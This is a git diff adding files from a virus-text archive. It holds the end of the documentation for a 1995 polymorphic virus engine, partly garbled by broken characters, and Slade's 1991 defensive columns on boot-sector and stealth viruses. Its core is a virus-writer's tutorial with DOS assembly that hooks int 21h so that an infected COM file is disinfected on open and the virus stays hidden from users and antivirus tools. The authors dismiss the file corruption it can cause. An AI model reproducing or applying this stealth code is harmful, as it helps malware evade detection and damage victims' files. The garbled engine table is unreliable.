Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD> 3 junk instructions
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD> 7 junk instructions
|
||||
Use dos interrupts <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 15 junk instructions
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 31 junk instructions
|
||||
Prefetch traps <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 63 junk instructions
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 127 junk instructions
|
||||
Int 3 generation <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 255 junk instructions
|
||||
|
||||
|
||||
CH CL
|
||||
Internal switches F E D C B A 9 8 7 6 5 4 3 2 1 0 General switches
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> random junk
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD> random hostility
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD> exe file
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> constant size
|
||||
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 256 byte alignment
|
||||
Down decryptor <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 16 byte alignment
|
||||
Use displacement <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Unused
|
||||
No jumps allowed <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Unused
|
||||
|
||||
|
||||
|
||||
That's all for now. Take a look at the enclosed demo virus, AirRaid,
|
||||
to see how FOG can be used.
|
||||
|
||||
|
||||
ABOUT THE AUTHOR:
|
||||
|
||||
I am a tertiary student from Australia's Sunshine State of
|
||||
Queensland. My interests include Rugby League, Cricket and
|
||||
low-level programming. Normally concentrating on visual and
|
||||
audio demonstrations, I turned my hand to polymorphism due to
|
||||
the unique challenge of that type of coding. I will only
|
||||
continue to pursue my virus programming career while the field
|
||||
remains interesting.
|
||||
|
||||
|
||||
|
||||
HOW TO CONTACT THE AUTHOR:
|
||||
|
||||
You can only contact me via my friend Qark, who is has internet
|
||||
access unlike myself.
|
||||
|
||||
|
||||
|
||||
Included in the original package there should be 12 files:
|
||||
|
||||
FOG .ASM Fog source code
|
||||
FOG .DOC This file
|
||||
FOG .OBJ Fog object module
|
||||
SWITCHES.INC Switch definition include file
|
||||
|
||||
AIRRAID1.ASM AirRaid ver. 1 source
|
||||
AIRRAID2.ASM AirRaid ver. 2 source
|
||||
AIRRAID3.ASM AirRaid ver. 3 source
|
||||
AIRRAID4.ASM AirRaid ver. 4 source
|
||||
|
||||
AIRRV1.ZIP AirRaid ver. 1 samples
|
||||
AIRRV2.ZIP AirRaid ver. 2 samples
|
||||
AIRRV3.ZIP AirRaid ver. 3 samples
|
||||
AIRRV4.ZIP AirRaid ver. 4 samples
|
||||
|
||||
|
||||
Any other file is not acknowledged by me.
|
||||
|
||||
Eclipse.
|
||||
Queensland, Australia, June 1995.
|
||||
|
||||
|
254
textfiles.com/virus/fullstlt.txt
Normal file
254
textfiles.com/virus/fullstlt.txt
Normal file
@@ -0,0 +1,254 @@
|
||||
% Full stealth tutorial by Blonde %
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
What follows is kinda tutorial of disinfection-stealth. It
|
||||
doesn't cover any *redirection* stealth (such as the one Bluenine
|
||||
in IR#6 uses), and quite frankly it might not be the best tutorial
|
||||
the vx-community has seen, but we can always hope it's for some
|
||||
gain to someone.
|
||||
|
||||
Alternative code how physical disinfection can be done is presented
|
||||
in my Hybris virus, which also is a bit more optimized than this one :-).
|
||||
Nevertheless, this is the very same technique my Petra.1308 virus used,
|
||||
so atleast it works..
|
||||
|
||||
I've edited this one a bit (Yea, I know it doesn't look like I did,
|
||||
but I did!) and well, we can always hope Mr.Blonde will write his
|
||||
next tutorial in a sober-mode :-).
|
||||
|
||||
- The Unforgiven.
|
||||
|
||||
|
||||
|
||||
|
||||
- Full Stealth or Disinfection on open -
|
||||
Written by Blonde/Immortal Riot
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Introduction
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Okey, this is for those guys who've already made an effective size-stealth
|
||||
and want some more or those who just like reading ;)
|
||||
|
||||
Full stealth for me is when you completely remove the virus from the file.
|
||||
Preferebly done when you open it. The idea behind this is ofcourse that it
|
||||
will be harder to spot and it is for the common users, but thats all we want
|
||||
isn't it?
|
||||
|
||||
What's very important when using disinfection is to infect on close or else
|
||||
you'll of course end up with some major problems ;) Okey, this is a bit more
|
||||
complex than the size stealth I discussed in my earlier article and I'm not
|
||||
a teacher so this can be quite hard to understand.
|
||||
|
||||
I'll mainly go through the disinfection of a COM file, but with
|
||||
pseudo code for EXE files as well. All code presented will though be COM-
|
||||
only.
|
||||
|
||||
The basic idea behind disinfection of COM-files is to first of all check
|
||||
if the file is infected by your virus, then simply restore what we've changed
|
||||
in the file, that is the first 3-5 bytes in a COM and then simply truncate
|
||||
the file at (filesize-virussize).
|
||||
|
||||
As for EXE-files the scenario is exactly the same, restore what you
|
||||
changed in the EXE-header rewrite it to the file... and truncate it.
|
||||
|
||||
|
||||
To succeed in these matters you'll have to hook int 21h and tap ah=3d (open)
|
||||
|
||||
|
||||
Check-For-Infection
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
disinfect_3d: ;called by our int handler if ah=3dh
|
||||
|
||||
;Upon entry to ah=3Dh ds:dx points to the filename...
|
||||
|
||||
|
||||
push ax bx cx dx di si ds es ;save registers in use
|
||||
|
||||
push ds
|
||||
pop es ;es=ds
|
||||
mov di,dx
|
||||
mov al,'.'
|
||||
mov cx,64
|
||||
repne scasb ;this will repeatedly scan byte by byte for
|
||||
; '.' in the filename stored in ds:dx=es:di
|
||||
;di will then point to offset of '.'+1
|
||||
|
||||
cmp word ptr ds:[di],'OC'
|
||||
jne nocom
|
||||
cmp word ptr ds:[di],'M'
|
||||
je openfile ;check if it is a com... if it wasn't
|
||||
nocom:
|
||||
jmp not_opened ;it wasn't a *.com file so don't
|
||||
;disinfect
|
||||
|
||||
openfile: ;com-file being opened!
|
||||
pushf
|
||||
push cs
|
||||
mov ax,3d02h
|
||||
call org21h ;open file in read/write mode
|
||||
jc nocom ; error ==> bail out
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
push cs cs ;cs=ds=es
|
||||
pop es ds
|
||||
|
||||
mov ax,5700h ;get file's time & date
|
||||
int 21h
|
||||
push cx ;save time &
|
||||
push dx ;date on the stack
|
||||
|
||||
read_4f:
|
||||
mov ah,3fh ;just read the firstfour bytes to
|
||||
mov cx,4 ;a buffer.
|
||||
mov dx,(hostbytes-vstart)
|
||||
int 21h
|
||||
|
||||
chk_4_markers:
|
||||
cmp byte ptr ds:[hbytes-vstart],0e9h ;check if firstchar
|
||||
|
||||
jne close_file ;is a jmp (e9)
|
||||
;if not ==> bail!
|
||||
|
||||
cmp byte ptr ds:[hbytes-vstart+3],fileid ;4th byte = our marker?
|
||||
|
||||
jne close_file ; if not ==> bail!
|
||||
|
||||
|
||||
That was the first part of the disinfection routine, the part that check if
|
||||
the file *really* is infected. In a nutshell, the code works like this:
|
||||
|
||||
First of all we want to check if the file first of all is a COM/EXE file.
|
||||
|
||||
What we did was simply to scan ds:dx for the '.' which separates the filename
|
||||
from the file extension and then compare it to COM/EXE (the code only checks
|
||||
for com's, but you can fix that ;). That'll be sufficent to determine if it
|
||||
was a COM/EXE file...
|
||||
|
||||
The next step would be to check if the COM/EXE file really is infected.
|
||||
This can be done in diffrent ways and some more secure than others, but what
|
||||
I've done in this code is to read the first four bytes and check the first
|
||||
against a jmp instruction (the one which jumps to the first instruction in
|
||||
the main virus-code) and then check the fourth against 'fileid' a byte which
|
||||
I write to every file I infect... com only of course.
|
||||
|
||||
That should do it. To be even more secure one could check for size and
|
||||
even stealth markers (like seconds) and such, but I don't think it's so
|
||||
very likely that a com file starts first with a jmp and then as the forth
|
||||
byte have another byte equal to what we want... Ah well it might corrupt
|
||||
some files, but who cares? ;)
|
||||
|
||||
Note that we don't do a regular open, since that would be recursive we have to
|
||||
call the original interrupt handler directly...
|
||||
|
||||
To do the same for EXE-files is almost as easy... read the whole header
|
||||
(be sure to save the header-information in the file for this purpose,
|
||||
don't do any heap-optimizing) and check against your markers maybe the
|
||||
prelocated SP or maybe the negative checksum or whatever... then continue
|
||||
with the disinfection where we left the com files...
|
||||
|
||||
Restore Init-Bytes
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
read_hostbytes:
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h ;ax=fsize
|
||||
|
||||
push ax ;push fsize.. used lateron...
|
||||
;if exe then push dx too
|
||||
xchg ax,dx
|
||||
|
||||
sub dx,(vend-hbytes)
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
int 21h ;goto dx in files...
|
||||
|
||||
mov ah,40h
|
||||
mov cx,4
|
||||
mov dx,(hbytes-vstart)
|
||||
int 21h ;read host bytes from end of file...
|
||||
|
||||
This is the part where you fetch the original values of infected file. Since
|
||||
this is important, also remember to leave the original bytes un-encrypted if
|
||||
the virus is encrypted. Else you'll have to decrypt them, which is pretty
|
||||
stupid. Encrypted full-stealth viruses might be considered a bit overdoing it,
|
||||
but well, that's up to you to decide. It's also wise to place the init-bytes
|
||||
at the end-of the file because that makes file-seek's operations shorter.
|
||||
|
||||
Well anyways, first get the filesize in ax then load it in dx and sub dx with
|
||||
the byte difference from the very end of the virus to the begining of
|
||||
the hostbytes (in this case 4...) then go to that offset in the file ie.
|
||||
four bytes from the end and then read those four bytes which are the files
|
||||
original bytes... if it wasn't a COM I wouldn't xor cx,cx and I would also use
|
||||
a sbb cx,0 since fsize might be larger than 64k ;) else there isn't anymore
|
||||
differences. you'll just have to sub/read the appropriate number of bytes...
|
||||
|
||||
The next step will be to restore those bytes to the begining of the file...
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h ;go to beginning of file...
|
||||
|
||||
mov ah,40h
|
||||
mov dx,(hbytes-vstart)
|
||||
mov cx,4
|
||||
int 21h ;restore them
|
||||
|
||||
Well that' obvious, wasn't it?
|
||||
The EXE version would only differ if you didn't save the whole EXE-header,
|
||||
because then you would have to read it, then restore the real values and
|
||||
re-write it to file then... therefor is it easier to simply write the whole
|
||||
EXE-header to the end of the infected file, but that'll of course increase
|
||||
the size of the virus.
|
||||
|
||||
Remove the virus from the host-file
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
To truncate the file at filesize-virussize we do this...
|
||||
|
||||
pop dx ;this was push'd two snippets up and it's the file-size
|
||||
;should also pop cx if it was an exe
|
||||
|
||||
mov ax,4200h
|
||||
sub dx,virusize ;subtract the virus-size from the filesize
|
||||
int 21h ;go to filsize-virusize
|
||||
|
||||
truncate:
|
||||
mov ah,40h
|
||||
xor cx,cx
|
||||
int 21h ;this is the trick. to truncate simply write zero bytes
|
||||
;to the file...
|
||||
|
||||
Okey it's simple... restore the filesize we pushed earlier (both cx,dx if EXE)
|
||||
and then sub it with the virus size (don't forget sbb cx,0 if EXE...)
|
||||
Then go to that offset and write zero bytes to it, that'll truncate it...
|
||||
|
||||
close_dis:
|
||||
mov ax,5701h
|
||||
pop dx cx
|
||||
int 21h ;restore time/date stamp
|
||||
|
||||
mov ah,3eh
|
||||
pushf
|
||||
push cs
|
||||
call org21h ;close call to real int handler
|
||||
|
||||
no_opendis:
|
||||
pop es ds si di dx cx bx ax
|
||||
jmp org21h
|
||||
|
||||
You're finished! just restore the time/date stamp and close the file...
|
||||
Just don't forget to close via a direct call to the real int 21 handler, since
|
||||
you wouldn't want to re-infect the file ;) then we chain into the real dos
|
||||
open since the virus has been removed!
|
||||
|
||||
This code will successfully disinfect any file opened by ah=3Dh/int 21h, but
|
||||
there are other ways of opening files, one of them is extended open which
|
||||
F-Prot uses, ax=6c00h/int 21h. It's possible to trap it too, but then you'll
|
||||
have to deal with some minor snags. Like loading ds:dx with filename ... If
|
||||
you're intrested check out Salamander Four...
|
||||
|
56
textfiles.com/virus/funbot2.cvp
Normal file
56
textfiles.com/virus/funbot2.cvp
Normal file
@@ -0,0 +1,56 @@
|
||||
FUNBOT2.CVP 910918
|
||||
|
||||
Boot sequence
|
||||
|
||||
In order to point out the areas of possible viral program attack, it is
|
||||
helpful to outline the sequence of operations in the boot process.
|
||||
|
||||
When the machine is first powered up, there is a certain amount of
|
||||
programming contained in boot ROM. The amount of this varies greatly
|
||||
between different types of machines, but basically describes the most
|
||||
central devices, such as the screen and keyboard, and "points" to the
|
||||
disk drives. A very basic location on the disk is addressed for further
|
||||
information. This is the generic "boot sector"; as mentioned in the last
|
||||
column, on MS-DOS hard disks it is the partition boot record that is
|
||||
accessed first.
|
||||
|
||||
The boot record or sector contains further information about the
|
||||
structure of the disk. It, or a subsequent linked sector, also describes
|
||||
the location of further operating system files. This description is in
|
||||
the form of a program, rather than simply data. Because this outline is
|
||||
in the form of a program, and because this sector is "writable", in order
|
||||
to allow for different structures, the boot record or sector is
|
||||
vulnerable to attack or change. Boot sector infecting programs may
|
||||
overwrite either the boot record or the boot sector, and may or may not
|
||||
move the original boot sector or record to another location on disk. The
|
||||
repositioning of the original sector's program allows the viral program
|
||||
to "pretend" that everything is as it was.
|
||||
|
||||
This pretence is not absolute. A computer with an active viral program
|
||||
resident will, of necessity, be different in some way from the normal
|
||||
environment. The original sector position will, of course, have
|
||||
different information in it. The viral program will need to "hook"
|
||||
certain vectors for its own use in order to monitor activity within the
|
||||
computer and in order to function. The viral program will have to occupy
|
||||
a certain portion of memory, and may be identified by a memory map, or,
|
||||
in the case of the Stoned virus, may try to hide by "telling" the
|
||||
computer that it has less memory than is actually the case.
|
||||
|
||||
These tell-tale indicators are not absolute. There may be various
|
||||
reasons why the "top of memory" marker is set to less than 640K. Each
|
||||
different type of disk drive, and each drive of the same type which is
|
||||
partitioned differently, will have a different boot record. As operating
|
||||
systems or versions change, so will the boot sector. Therefore, the
|
||||
environment of newly booted machines cannot, in isolation, be examined
|
||||
and said to be infected or free from infection.
|
||||
|
||||
It is possible, however, to compare any machine with itself in a "known
|
||||
clean" state. By saving information on the environment after a minimal
|
||||
clean boot, and comparing this with subsequent boots, changes can be
|
||||
detected, and the user alerted to a potential problem. Since a boot
|
||||
sector infector can only infect a machine if the machine is booted from
|
||||
an infected disk, it is also possible to replace the boot record with a
|
||||
non-standard one, in order to prevent access to the hard disk unless
|
||||
booted from the hard disk.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNBOT2.CVP 910918
|
58
textfiles.com/virus/funbot3.cvp
Normal file
58
textfiles.com/virus/funbot3.cvp
Normal file
@@ -0,0 +1,58 @@
|
||||
FUNBOT3.CVP 910918
|
||||
|
||||
Boot sequence - part 2
|
||||
|
||||
Obtaining the state of the environment immediately after the boot sector
|
||||
has been run is not as easy as it might sound at first. The computer,
|
||||
while functional, does not have all parts of the operating system
|
||||
installed at this point, and it is the "higher" levels of the operating
|
||||
system that users generally interact with.
|
||||
|
||||
The last section of the boot sector program points to the files or areas
|
||||
on the disk in which to find the next step of the operating system. At
|
||||
this point the specific files and subsequent steps start to change from
|
||||
one operating system to another. However, it is fairly common for all
|
||||
operating systems to have "hidden" files along this route which may be
|
||||
subject to viral attack. Given that the files are not evident to the
|
||||
user, they are more subject, not to attack, but to an undetected change.
|
||||
|
||||
When setting up antiviral defences, it is important to know the sequence
|
||||
of events in the boot process in order to know which programs will
|
||||
protect to which level. The MS-DOS sequence provides the clearest
|
||||
example, and those knowledgeable in other systems can use the examples it
|
||||
provides in order to analyze the specific details of their own systems.
|
||||
|
||||
After the master boot record and boot sector proper have been run, MS-DOS
|
||||
normally runs two additional programs which set up input/output routines
|
||||
and the most basic operating system. (As these programs are called by
|
||||
the boot sector, it is possible to re-route this process to call
|
||||
specialized driver programs first, or with them. Some esoteric disk
|
||||
drives use such a process.) Traditionally, these files have "hidden"
|
||||
attributes and are not visible to the user on the disk. After they have
|
||||
run, the system has sufficient programming to interpret a text file which
|
||||
contains listings of various additional programming which the user wishes
|
||||
to have in order to run specialized hardware. This file, CONFIG.SYS, is
|
||||
the first point at which the intermediate user may normally affect the
|
||||
boot process, and is the first point at which antiviral software may be
|
||||
easily installed. As can be seen, however, there are a number of prior
|
||||
points at which viral programs may gain control of the computer.
|
||||
|
||||
After the programs listed in CONFIG.SYS are run, the command interpreter
|
||||
is invoked. The standard MS-DOS interpreter is COMMAND.COM, but this may
|
||||
be changed by an entry in the CONFIG.SYS file. After COMMAND.COM is run,
|
||||
the AUTOEXEC.BAT batch file is run, if it exists. AUTOEXEC.BAT is the
|
||||
most commonly created and modified "boot file", and many users, and
|
||||
antiviral program authors, see this as the point at which to intervene.
|
||||
It should be clear by now, however, that many possible points of
|
||||
intervention are open before the AUTOEXEC.BAT is run.
|
||||
|
||||
In spite of the greater number of entry points, viral programs which
|
||||
attack the programs of the boot sequence are rare, and not greatly
|
||||
successful. For one thing, while very disk has a boot sector, not every
|
||||
disk has a full boot sequence. For another, different versions of a
|
||||
given operating system may have different files in this sequence. (For
|
||||
example, the "hidden" files have different names in MS-DOS, PC-DOS and
|
||||
DR-DOS.) Finally, viral programs which can infect ordinary programs
|
||||
files may not work on boot sequence files, and vice versa.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNBOT3.CVP 910918
|
56
textfiles.com/virus/fungen1.cvp
Normal file
56
textfiles.com/virus/fungen1.cvp
Normal file
@@ -0,0 +1,56 @@
|
||||
FUNGEN1.CVP 910727
|
||||
|
||||
Computer operations and viral operations
|
||||
|
||||
Having defined what viral programs are, let's look at what
|
||||
computers are, and do, briefly. The functions that we ask of
|
||||
computers tend to fall into a few general categories.
|
||||
|
||||
Computers are great at copying. This makes them useful for
|
||||
storing and communicating data, and for much of the "information
|
||||
processing" that we ask them to do, such as word processing.
|
||||
Computers are also great for the automation of repetitive tasks.
|
||||
Programming allows computers to perform the same tasks, in the
|
||||
same way, with only one initiating call. Indeed, we can, on
|
||||
occasion, eliminate the need for the call, as programs can be
|
||||
designed to make "decisions" on the basis of data available.
|
||||
Finally, computer processors need not be specially built for
|
||||
each task assigned to them: computers are multi-purpose tools
|
||||
which can do as many jobs as the programs available to them.
|
||||
|
||||
All computer operations and programs are comprised of these
|
||||
three components: copying, automatic operation, "decision"
|
||||
making: and, in various combinations, can fulfill many
|
||||
functions. It is no coincidence that it is these same functions
|
||||
which allow computer viral programs to operate.
|
||||
|
||||
The first function of a viral program is to reproduce. In other
|
||||
words, to copy. This copying operation must be automatic, since
|
||||
the operator is not an actively informed party to the function.
|
||||
In most cases, viral program must come to some decision aobut
|
||||
when and whether to infect a program or disk, or when to deliver
|
||||
a "payload". All of these operations must be performed
|
||||
regardless of the purpose for which the specific computer is
|
||||
intended.
|
||||
|
||||
It should thus be clear that computer viral programs use the
|
||||
most basic of computer functions and operations. It should also
|
||||
be clear that no additional functions are necessary for the
|
||||
operation of viral programs. Taking these two facts together,
|
||||
noone should be surprised at the conclusion reached a number of
|
||||
years ago that not only is it extremely difficult to
|
||||
differentiate computer viral programs from valid programs, but
|
||||
that there can be no single identifying feature that can be used
|
||||
for such distinction. Without running the program, or
|
||||
simulating its operation, there is no way to say that this
|
||||
program is viral and that one is valid.
|
||||
|
||||
The fact that computer viral operations are, in fact, the most
|
||||
basic of computer operations means that it is very difficult to
|
||||
defend against intrusion by viral programs. In terms of
|
||||
"guaranteed protection" we are left with Jeff Richards' Laws of
|
||||
Data Security:
|
||||
1) Don't buy a computer.
|
||||
2) If you do buy a computer, don't turn it on.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGEN1.CVP 910729
|
BIN
textfiles.com/virus/fungen2.cvp
Normal file
BIN
textfiles.com/virus/fungen2.cvp
Normal file
Binary file not shown.
53
textfiles.com/virus/fungen3.cvp
Normal file
53
textfiles.com/virus/fungen3.cvp
Normal file
@@ -0,0 +1,53 @@
|
||||
FUNGEN3.CVP 910811
|
||||
|
||||
Viral use of operating systems
|
||||
|
||||
Viral programs use basic computer functions in more ways than
|
||||
one. It is easier to use standard system calls for purposes
|
||||
such as accessing disks and writing files or formatting. Most
|
||||
programs use the standard operating system calls, rather than
|
||||
write their own system function when "using" the hardware. For
|
||||
one thing, it's more "polite" to do this with applications
|
||||
programs, which, if they follow "the rules" will be better
|
||||
"behaved" when it comes to other programs, particularly resident
|
||||
programs and drivers. But it is also easier to use system
|
||||
functions than write your own.
|
||||
|
||||
Operating system functions are generally accessible if you know
|
||||
the memory address at which the function starts, or the specific
|
||||
"interrupt" that invokes it. Viral programs can use this fact
|
||||
in two possible ways.
|
||||
|
||||
The first is to use the standard system calls in order to
|
||||
perform the copying, writing or destructive actions. This,
|
||||
however, has unfortunate consequences for the viral author (and
|
||||
fortunate for the computer community) in that it is easy to
|
||||
identify these system calls within program code. Therefore, if
|
||||
viral programs used only this method of operation, it would be
|
||||
possible to write a "universal" virus scanner which would be
|
||||
able to identify any potentially damaging code. It would also
|
||||
be possible to write programs which "trapped" all such system
|
||||
calls, and allowed the user to decide whether a particular
|
||||
operation should proceed. (In fact, in the MS-DOS world, two
|
||||
such programs, BOMBSQAD and WORMCHEK, are available, and were
|
||||
used to check for early trojan programs.)
|
||||
|
||||
Operating systems are, however, programs, and therefore it is
|
||||
possible for any program, including any viral program, to
|
||||
implement a completely different piece of code which writes
|
||||
directly to the hardware. The "Stoned" virus has used this very
|
||||
successfully.
|
||||
|
||||
Unfortunately, viral programs have even more options, one of
|
||||
which is to perform the same "trapping" functions themselves.
|
||||
Viral programs can trap all functions which perform disk access
|
||||
in order to hide the fact that the virus is copying itself to
|
||||
the disk under the "cover" of a directory listing. Viral
|
||||
programs can also trap system calls in order to evade detection.
|
||||
Some viri will "sense" an effort to "read" the section of memory
|
||||
that they occupy, and will cause the system to hang. Others
|
||||
trap all reading of disk information and will return only the
|
||||
"original" information for a file or disk: the commonly named
|
||||
"stealth" viral technology.
|
||||
|
||||
copyright Robert M. Slade, 1991 FUNGEN3.CVP 910811
|
52
textfiles.com/virus/fungen4.cvp
Normal file
52
textfiles.com/virus/fungen4.cvp
Normal file
@@ -0,0 +1,52 @@
|
||||
FUNGEN4.CVP 910819
|
||||
|
||||
Hiding in System Layers
|
||||
|
||||
One additional use that viral programs can make of operating
|
||||
systems is as a source of hiding places.
|
||||
|
||||
Anyone who has ever tried to manage accounts on mainframes or
|
||||
local area networks will recognize that there is a constant
|
||||
battle between the aspects of security and "user friendliness" in
|
||||
computer use. This tension arises from the definition of the two
|
||||
functions: if a computer is easy to use, it is easy to misuse.
|
||||
If a password is hard to guess, it is hard to remember. If
|
||||
access to information is simple for the owner, it is simple for
|
||||
the "cracker".
|
||||
|
||||
(This axiom often gives rise to two false "corollaries". First,
|
||||
the reverse; that those systems which are difficult to use must
|
||||
therefore be more secure; does not hold. Secondly, many assume
|
||||
that restricting the availability of information about a system
|
||||
will make that system secure. While this strategy will work in
|
||||
the short term, its effectiveness as protection is limited.
|
||||
Indeed, it often has the unfortunate side effect of restricting
|
||||
information to those who should have it, such as systems
|
||||
managers, while slowing the "attackers" only marginally.)
|
||||
|
||||
"User friendly" programs and operating systems tend to hide
|
||||
information from the user. There are two reasons for this. In
|
||||
order to reduce "clutter", and the amount of information that a
|
||||
user needs to operate a given system, it is necessary to remove
|
||||
options, and therefore, to a certain extent, functionality. A
|
||||
user friendly system is also more complex in terms of it's own
|
||||
